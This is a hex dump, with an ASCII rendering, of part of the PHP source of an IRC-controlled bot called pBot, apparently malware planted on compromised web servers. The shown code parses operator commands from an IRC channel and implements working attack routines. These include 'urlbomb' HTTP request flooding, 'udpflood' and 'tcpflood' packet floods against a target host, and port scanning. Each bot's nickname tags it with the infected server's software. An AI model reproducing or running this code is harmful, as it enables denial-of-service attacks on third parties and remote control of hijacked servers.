20192: 090909246F70656E5F706F727473202E3D20227C222E24693B0D0A0909090909          $open_ports .= "|".$i;
20224: 09090909090909097D0D0A0909090909090909090909097D0D0A090909090909          } }
20256: 0909090909090D0A09090909090909090909090924746869732D3E707269766D          $this->privm
20288: 7367282024746869732D3E6765745F6368616E2820292C20246F70656E5F706F          sg( $this->get_chan( ), $open_po
20320: 72747320293B0D0A090909090909090909090909627265616B3B0D0A09090909          rts ); break;
20352: 090909090909097D0D0A0909090909090909090909636173652022736F667477          } case "softw
20384: 617265223A0D0A09090909090909090909097B0D0A0909090909090909090909          are": {
20416: 0924746869732D3E707269766D7367282024746869732D3E6765745F6368616E          $this->privmsg( $this->get_chan
20448: 2820292C20245F5345525645525B20275345525645525F534F46545741524527          ( ), $_SERVER[ 'SERVER_SOFTWARE'
20480: 205D20293B0D0A090909090909090909090909627265616B3B0D0A0909090909          ] ); break;
20512: 0909090909097D0D0A0909090909090909090909636173652022736E66223A0D          } case "snf":
20544: 0A09090909090909090909097B0D0A0909090909090909090909092474686973          { $this
20576: 2D3E636F6E6669675B20276E69636B666F726D27205D203D20246D636D645B20          ->config[ 'nickform' ] = $mcmd[
20608: 31205D3B0D0A09090909090909090909090924746869732D3E707269766D7367          1 ]; $this->privmsg
20640: 282024746869732D3E6765745F6368616E2820292C20224E69636B6E616D6520          ( $this->get_chan( ), "Nickname
20672: 666F726D61742073657420746F205B20222E246D636D645B2031205D2E22205D          format set to [ ".$mcmd[ 1 ]." ]
20704: 2220293B0D0A090909090909090909090909627265616B3B0D0A090909090909          " ); break;
20736: 09090909097D0D0A090909090909090909090963617365202272616E646E6963          } case "randnic
20768: 6B223A0D0A09090909090909090909097B0D0A09090909090909090909090924          k": { $
20800: 746869732D3E7365745F6E69636B28293B0D0A09090909090909090909090962          this->set_nick(); b
20832: 7265616B3B0D0A09090909090909090909097D0D0A0909090909090909090909          reak; }
20864: 636173652022756E61757468223A0D0A09090909090909090909097B0D0A0909          case "unauth": {
20896: 0909090909090909090924746869732D3E72656D6F76655F6175746828202468          $this->remove_auth( $h
20928: 6F737420293B0D0A09090909090909090909090924746869732D3E707269766D          ost ); $this->privm
20960: 7367282024746869732D3E6765745F6368616E2820292C20225B206175746820          sg( $this->get_chan( ), "[ auth
20992: 5D204C6F676F7574205B20222E246E69636B2E22205D2220293B0D0A09090909          ] Logout [ ".$nick." ]" );
21024: 0909090909090909627265616B3B0D0A09090909090909090909097D0D0A0909          break; }
21056: 09090909090909090963617365202275726C626F6D62223A0D0A090909090909          case "urlbomb":
21088: 09090909097B0D0A09090909090909090909090924746869732D3E75726C626F          { $this->urlbo
21120: 6D622820246D636D645B2031205D2C20246D636D645B2032205D2C20246D636D          mb( $mcmd[ 1 ], $mcmd[ 2 ], $mcm
21152: 645B2033205D20293B0D0A090909090909090909090909627265616B3B0D0A09          d[ 3 ] ); break;
21184: 090909090909090909097D0D0A20202020202020202020202020202020202020          }
21216: 20202020202020202009090909636173652022756470666C6F6F64223A200D0A          case "udpflood":
21248: 09090909090909090909097B0D0A202020202020202020202020202020202020          {
21280: 20202020202020202020202020090909090969662820636F756E742820246D63          if( count( $mc
21312: 6D642029203E20332029200D0A20202020202020202020202020202020202020          md ) > 3 )
21344: 20202020202020202020202009090909097B0D0A202020202020202020202020          {
21376: 2020202020202020202020202020202020202020202009090909092474686973          $this
21408: 2D3E756470666C6F6F6428246D636D645B315D2C246D636D645B325D2C246D63          ->udpflood($mcmd[1],$mcmd[2],$mc
21440: 6D645B335D293B200D0A20202020202020202020202020202020202020202020          md[3]);
21472: 20202020202020202009090909097D200D0A2020202020202020202020202020          }
21504: 20202020202020202020202020200909090909627265616B3B200D0A09090909          break;
21536: 090909090909097D0D0A20202020202020202020202020202020202020202020          }
21568: 20202020202009090909636173652022746370666C6F6F64223A200D0A090909          case "tcpflood":
21600: 09090909090909097B0D0A202020202020202020202020202020202020202020          {
21632: 20202020202020202020090909090969662820636F756E742820246D636D6420          if( count( $mcmd
21664: 29203E20352029200D0A20202020202020202020202020202020202020202020          ) > 5 )
21696: 20202020202020202009090909097B200D0A2020202020202020202020202020          {
21728: 20202020202020202020202020202020202020090909090924746869732D3E74          $this->t
21760: 6370666C6F6F6428246D636D645B315D2C246D636D645B325D2C246D636D645B          cpflood($mcmd[1],$mcmd[2],$mcmd[
21792: 335D2C246D636D645B345D2C246D636D645B355D293B200D0A20202020202020          3],$mcmd[4],$mcmd[5]);
21824: 20202020202020202020202020202020202020202020202009090909097D200D          }
21856: 0A20202020202020202020202020202020202020202020202020202020090909         
21888: 0909627265616B3B200D0A09090909090909090909097D0D0A09090909090909          break; }
21920: 0909097D200D0A0909090909090909097D0D0A09090909090909097D200D0A09          } } }
21952: 090909090909627265616B3B200D0A0909090909097D200D0A09090909097D20          break; } }
21984: 0D0A090909097D200D0A09090909246F6C645F627566203D2024746869732D3E          } $old_buf = $this->
22016: 6275663B200D0A0909097D200D0A09090924746869732D3E737461727428293B          buf; } $this->start();
22048: 200D0A09097D0D0A09090D0A090966756E6374696F6E207363616E706F727428          } function scanport(
22080: 2024686F73742C2024706F727420290D0A09097B0D0A0909096966282066736F          $host, $port ) { if( fso
22112: 636B6F70656E282024686F73742C2024706F72742C2024652C20247320292029          ckopen( $host, $port, $e, $s ) )
22144: 0D0A0909097B0D0A0909090972657475726E20313B0D0A0909097D0D0A090909          { return 1; }
22176: 72657475726E20303B0D0A09097D0D0A09090D0A090966756E6374696F6E2075          return  ; } function u
22208: 726C626F6D62282024686F73742C2024706174682C202474696D65732C20246D          rlbomb( $host, $path, $times, $m
22240: 6F6465203D203020290D0A09097B0D0A09090969662820216973736574282024          ode =   ) { if( !isset( $
22272: 686F73742029207C7C20216973736574282024706174682029207C7C20216973          host ) || !isset( $path ) || !is
22304: 73657428202474696D6573202920290D0A0909090972657475726E3B0D0A0909          set( $times ) ) return;
22336: 090D0A09090924746869732D3E707269766D7367282024746869732D3E676574          $this->privmsg( $this->get
22368: 5F6368616E2820292C20275B2075726C626F6D62205D20737461727465642120          _chan( ), '[ urlbomb ] started!
22400: 5B20272E24686F73742E272F272E24706174682E27205D2720293B0D0A090909          [ '.$host.'/'.$path.' ]' );
22432: 0D0A0909092473756363657373203D20303B0D0A090909666F7228202469203D          $success =  ; for( $i =
22464: 20303B202469203C202474696D65733B2024692B2B20290D0A0909097B0D0A09           ; $i < $times; $i++ ) {
22496: 090909246670203D2066736F636B6F70656E282024686F73742C2038302C2024          $fp = fsockopen( $host, 8 , $
22528: 6572726E6F2C20246572727374722C20333020293B0D0A090909096966282024          errno, $errstr, 3  ); if( $
22560: 667020290D0A090909097B0D0A0909090909246F7574203D2022474554202F22          fp ) { $out = "GET /"
22592: 2E24706174682E2220485454502F312E315C725C6E223B0D0A0909090909246F          .$path." HTTP/1.1\r\n"; $o
22624: 7574202E3D2022486F73743A20222E24686F73742E225C725C6E223B0D0A0909          ut .= "Host: ".$host."\r\n";
22656: 090909246F7574202E3D20224B6565702D416C6976653A203330305C725C6E22          $out .= "Keep-Alive: 3  \r\n"
22688: 3B0D0A0909090909246F7574202E3D2022436F6E6E656374696F6E3A206B6565          ; $out .= "Connection: kee
22720: 702D616C6976655C725C6E5C725C6E223B0D0A09090909096677726974652820          p-alive\r\n\r\n"; fwrite(
22752: 2466702C20246F757420293B0D0A0D0A090909090969662820246D6F64652021          $fp, $out ); if( $mode !
22784: 3D203020290D0A09090909097B0D0A0909090909097768696C65282166656F66          =   ) { while(!feof
22816: 2824667029297B2F2A646F206E6F7468696E672A2F7D0D0A09090909097D0D0A          ($fp)){/*do nothing*/} }
22848: 09090909090D0A090909090966636C6F7365282024667020293B0D0A09090909          fclose( $fp );
22880: 090D0A090909090924737563636573732B2B3B0D0A090909097D0D0A0909097D          $success++; } }
22912: 0D0A0D0A09090924746869732D3E707269766D7367282024746869732D3E6765          $this->privmsg( $this->ge
22944: 745F6368616E2820292C20275B2075726C626F6D62205D2066696E6973686564          t_chan( ), '[ urlbomb ] finished
22976: 21205B20272E24686F73742E272F272E24706174682E27205D5B207375636365          ! [ '.$host.'/'.$path.' ][ succe
23008: 73733A20272E24737563636573732E27205D2720293B0D0A09097D0D0A09090D          ss: '.$success.' ]' ); }
23040: 0A090966756E6374696F6E20756470666C6F6F64282024686F73742C20247061          function udpflood( $host, $pa
23072: 636B657473697A652C202474696D652029200D0A09097B0D0A09090924746869          cketsize, $time ) { $thi
23104: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C22          s->privmsg( $this->get_chan( ),"
23136: 5B20756470666C6F6F64205D2053746172746564205B222E24686F73742E225D          [ udpflood ] Started [".$host."]
23168: 2220293B200D0A090909247061636B6574203D2022223B0D0A090909666F7228          " ); $packet = ""; for(
23200: 24693D303B24693C247061636B657473697A653B24692B2B29207B2024706163          $i= ;$i<$packetsize;$i++) { $pac
23232: 6B6574202E3D20636872286D745F72616E6428312C32353629293B207D0D0A09          ket .= chr(mt_rand(1,256)); }
23264: 09092474696D6569203D2074696D6528293B0D0A0909092469203D20303B0D0A          $timei = time(); $i =  ;
23296: 0909097768696C652874696D6528292D2474696D6569203C202474696D652920          while(time()-$timei < $time)
23328: 0D0A0909097B0D0A090909092466703D66736F636B6F70656E28227564703A2F          { $fp=fsockopen("udp:/
23360: 2F222E24686F73742C6D745F72616E6428302C36303030292C24652C24732C35          /".$host,mt_rand( ,6   ),$e,$s,5
23392: 293B0D0A09090909667772697465282466702C247061636B6574293B0D0A0909          ); fwrite($fp,$packet);
23424: 090966636C6F736528246670293B0D0A0909090924692B2B3B0D0A0909097D0D          fclose($fp); $i++; }
23456: 0A09090924656E76203D202469202A20247061636B657473697A653B0D0A0909          $env = $i * $packetsize;
23488: 0924656E76203D2024656E76202F20313034383537363B0D0A0909092476656C          $env = $env / 1 48576; $vel
23520: 203D2024656E76202F202474696D653B0D0A0909092476656C203D20726F756E          = $env / $time; $vel = roun
23552: 64282476656C293B0D0A09090924656E76203D20726F756E642824656E76293B          d($vel); $env = round($env);
23584: 0D0A09090924746869732D3E707269766D7367282024746869732D3E6765745F          $this->privmsg( $this->get_
23616: 6368616E2820292C225B20756470666C6F6F64205D2024656E76204D42205365          chan( ),"[ udpflood ] $env MB Se
23648: 6E74202F202476656C204D422F732022293B0D0A09097D0D0A09090D0A090966          nt / $vel MB/s "); } f
23680: 756E6374696F6E20746370666C6F6F642824686F73742C247061636B6574732C          unction tcpflood($host,$packets,
23712: 247061636B657473697A652C24706F72742C2464656C617929200D0A09097B20          $packetsize,$port,$delay) {
23744: 0D0A09090924746869732D3E707269766D7367282024746869732D3E6765745F          $this->privmsg( $this->get_
23776: 6368616E2820292C225B5C32546370466C6F6F642053746172746564215C325D          chan( ),"[\2TcpFlood Started!\2]
23808: 22293B200D0A090909247061636B6574203D2022223B200D0A090909666F7228          "); $packet = ""; for(
23840: 24693D303B24693C247061636B657473697A653B24692B2B29200D0A09090909          $i= ;$i<$packetsize;$i++)
23872: 247061636B6574202E3D20636872286D745F72616E6428312C32353629293B20          $packet .= chr(mt_rand(1,256));
23904: 0D0A0909090D0A090909666F722824693D303B24693C247061636B6574733B24          for($i= ;$i<$packets;$
23936: 692B2B29200D0A0909097B200D0A09090909696628212466703D66736F636B6F          i++) { if(!$fp=fsocko
23968: 70656E28227463703A2F2F222E24686F73742C24706F72742C24652C24732C35          pen("tcp://".$host,$port,$e,$s,5
24000: 2929200D0A0909092020097B200D0A090909090924746869732D3E707269766D          )) { $this->privm
24032: 7367282024746869732D3E6765745F6368616E2820292C225B5C32546370466C          sg( $this->get_chan( ),"[\2TcpFl
24064: 6F6F645C325D3A204572726F723A203C24653E22293B200D0A09090909202009          ood\2]: Error: <$e>");
24096: 72657475726E20303B200D0A090909202020097D200D0A09090920202009656C          return  ; } el
24128: 7365200D0A090909202020097B200D0A0909090909667772697465282466702C          se { fwrite($fp,
24160: 247061636B6574293B200D0A090909090966636C6F736528246670293B200D0A          $packet); fclose($fp);
24192: 090909097D200D0A09090920202009736C656570282464656C6179293B200D0A          } sleep($delay);
24224: 0909097D200D0A09090924746869732D3E707269766D7367282024746869732D          } $this->privmsg( $this-
24256: 3E6765745F6368616E2820292C225B5C32546370466C6F6F642046696E697368          >get_chan( ),"[\2TcpFlood Finish
24288: 6564215C325D3A20436F6E666967202D20247061636B65747320666F72202468          ed!\2]: Config - $packets for $h
24320: 6F73743A24706F72742E22293B200D0A09097D0D0A09090D0A090966756E6374          ost:$port."); } funct
24352: 696F6E2073656E6428246D736729200D0A09097B200D0A090909667772697465          ion send($msg) { fwrite
24384: 2824746869732D3E636F6E6E2C22246D73675C725C6E22293B200D0A09097D20          ($this->conn,"$msg\r\n"); }
24416: 0D0A09090D0A090966756E6374696F6E206A6F696E28246368616E2C246B6579          function join($chan,$key
24448: 3D4E554C4C29200D0A09097B200D0A09090924746869732D3E73656E6428224A          =NULL) { $this->send("J
24480: 4F494E20246368616E20246B657922293B200D0A09097D200D0A09090D0A0909          OIN $chan $key"); }
24512: 66756E6374696F6E20707269766D73672824746F2C246D7367290D0A09097B0D          function privmsg($to,$msg) {
24544: 0A09090924746869732D3E73656E642822505249564D53472024746F203A246D          $this->send("PRIVMSG $to :$m
24576: 736722293B0D0A09097D0D0A09090D0A090966756E6374696F6E206E6F746963          sg"); } function notic
24608: 652824746F2C246D7367290D0A09097B0D0A09090924746869732D3E73656E64          e($to,$msg) { $this->send
24640: 28224E4F544943452024746F203A246D736722293B0D0A09097D0D0A0909200D          ("NOTICE $to :$msg"); }
24672: 0A09092066756E6374696F6E207365745F6E69636B2829200D0A0909207B200D          function set_nick() {
24704: 0A09090924707265666978203D20225B77696E33325D223B0D0A090909696628          $prefix = "[win32]"; if(
24736: 697373657428245F5345525645525B275345525645525F534F46545741524527          isset($_SERVER['SERVER_SOFTWARE'
24768: 5D29290D0A0909097B200D0A0909090969662820737472737472282073747274          ])) { if( strstr( strt
24800: 6F6C6F7765722820245F5345525645525B20275345525645525F534F46545741          olower( $_SERVER[ 'SERVER_SOFTWA
24832: 524527205D20292C202261706163686522202920290D0A090909090924707265          RE' ] ), "apache" ) ) $pre
24864: 666978203D20225B415D223B200D0A09090909656C7365696628207374727374          fix = "[A]"; elseif( strst
24896: 722820737472746F6C6F7765722820245F5345525645525B2027534552564552          r( strtolower( $_SERVER[ 'SERVER
24928: 5F534F46545741524527205D20292C20226969732220292029200D0A09090909          _SOFTWARE' ] ), "iis" ) )
24960: 0924707265666978203D20225B495D223B200D0A09090909656C736569662820          $prefix = "[I]"; elseif(
24992: 7374727374722820737472746F6C6F7765722820245F5345525645525B202753          strstr( strtolower( $_SERVER[ 'S
25024: 45525645525F534F46545741524527205D20292C2022786974616D6922202920          ERVER_SOFTWARE' ] ), "xitami" )
25056: 29200D0A090909090924707265666978203D20225B585D223B200D0A09090909          ) $prefix = "[X]";
25088: 656C7365200D0A090909090924707265666978203D20225B555D223B200D0A09          else $prefix = "[U]";
25120: 09097D0D0A0909090D0A090909696628202124746869732D3E69735F73616665          } if( !$this->is_safe
25152: 28202920290D0A0909097B0D0A0909090924707265666978202E3D20225B6C6E          ( ) ) { $prefix .= "[ln
25184: 785D223B0D0A0909097D0D0A090D0A0909092472616E646F6D5F6E756D626572          x]"; } $random_number
25216: 203D2022223B0D0A090909666F7228202469203D20303B202469203C20247468          = ""; for( $i =  ; $i < $th
25248: 69732D3E636F6E6669675B20276D617872616E6427205D3B2024692B2B20290D          is->config[ 'maxrand' ]; $i++ )
25280: 0A0909097B0D0A090909092472616E646F6D5F6E756D626572202E3D206D745F          { $random_number .= mt_
25312: 72616E642820302C203920293B200D0A0909097D0D0A090D0A09090924746869          rand(  , 9 ); } $thi
25344: 732D3E6E69636B203D20737072696E74662820247072656669782E2474686973          s->nick = sprintf( $prefix.$this
25376: 2D3E636F6E6669675B20276E69636B666F726D27205D2C202472616E646F6D5F          ->config[ 'nickform' ], $random_
25408: 6E756D62657220293B0D0A09090924746869732D3E73656E6428224E49434B20          number ); $this->send("NICK
25440: 222E24746869732D3E6E69636B293B0D0A0909207D0D0A0909200D0A09096675          ".$this->nick); } fu
25472: 6E6374696F6E2070617273655F75726C5F7328202475726C20290D0A09097B0D          nction parse_url_s( $url ) {
25504: 0A0909092455524C706373203D20282070617273655F75726C28202475726C20          $URLpcs = ( parse_url( $url
25536: 2920293B0D0A0909092450617468506373203D206578706C6F64652820222F22          ) ); $PathPcs = explode( "/"
25568: 2C202455524C7063735B2770617468275D20293B0D0A0909092455524C706373          , $URLpcs['path'] ); $URLpcs
25600: 5B2766696C65275D203D20656E642820245061746850637320293B0D0A090909          ['file'] = end( $PathPcs );
25632: 756E736574282024506174685063735B206B6579282024506174685063732029          unset( $PathPcs[ key( $PathPcs )
25664: 205D20293B0D0A0909092455524C7063735B27646972275D203D20696D706C6F          ] ); $URLpcs['dir'] = implo
25696: 646528222F222C2450617468506373293B0D0A0909090D0A0909092466696C65          de("/",$PathPcs); $file
25728: 657874203D206578706C6F64652820272E272C202455524C7063735B2766696C          ext = explode( '.', $URLpcs['fil
25760: 65275D20293B0D0A0909090D0A090909696628636F756E74282466696C656578          e'] ); if(count($fileex
25792: 7429290D0A0909097B0D0A090909092455524C7063735B2766696C655F657874          t)) { $URLpcs['file_ext
25824: 275D203D202466696C656578745B20636F756E7428202466696C656578742029          '] = $fileext[ count( $fileext )
25856: 202D2031205D3B0D0A0909097D0D0A0909090D0A09090972657475726E202824          - 1 ]; } return ($
25888: 55524C706373293B0D0A09097D0D0A097D200D0A090D0A0924626F74203D206E          URLpcs); } } $bot = n
25920: 65772070426F743B200D0A0924626F742D3E737461727428293B200D0A0D0A3F          ew pBot; $bot->start(); ?
25952: 3E          >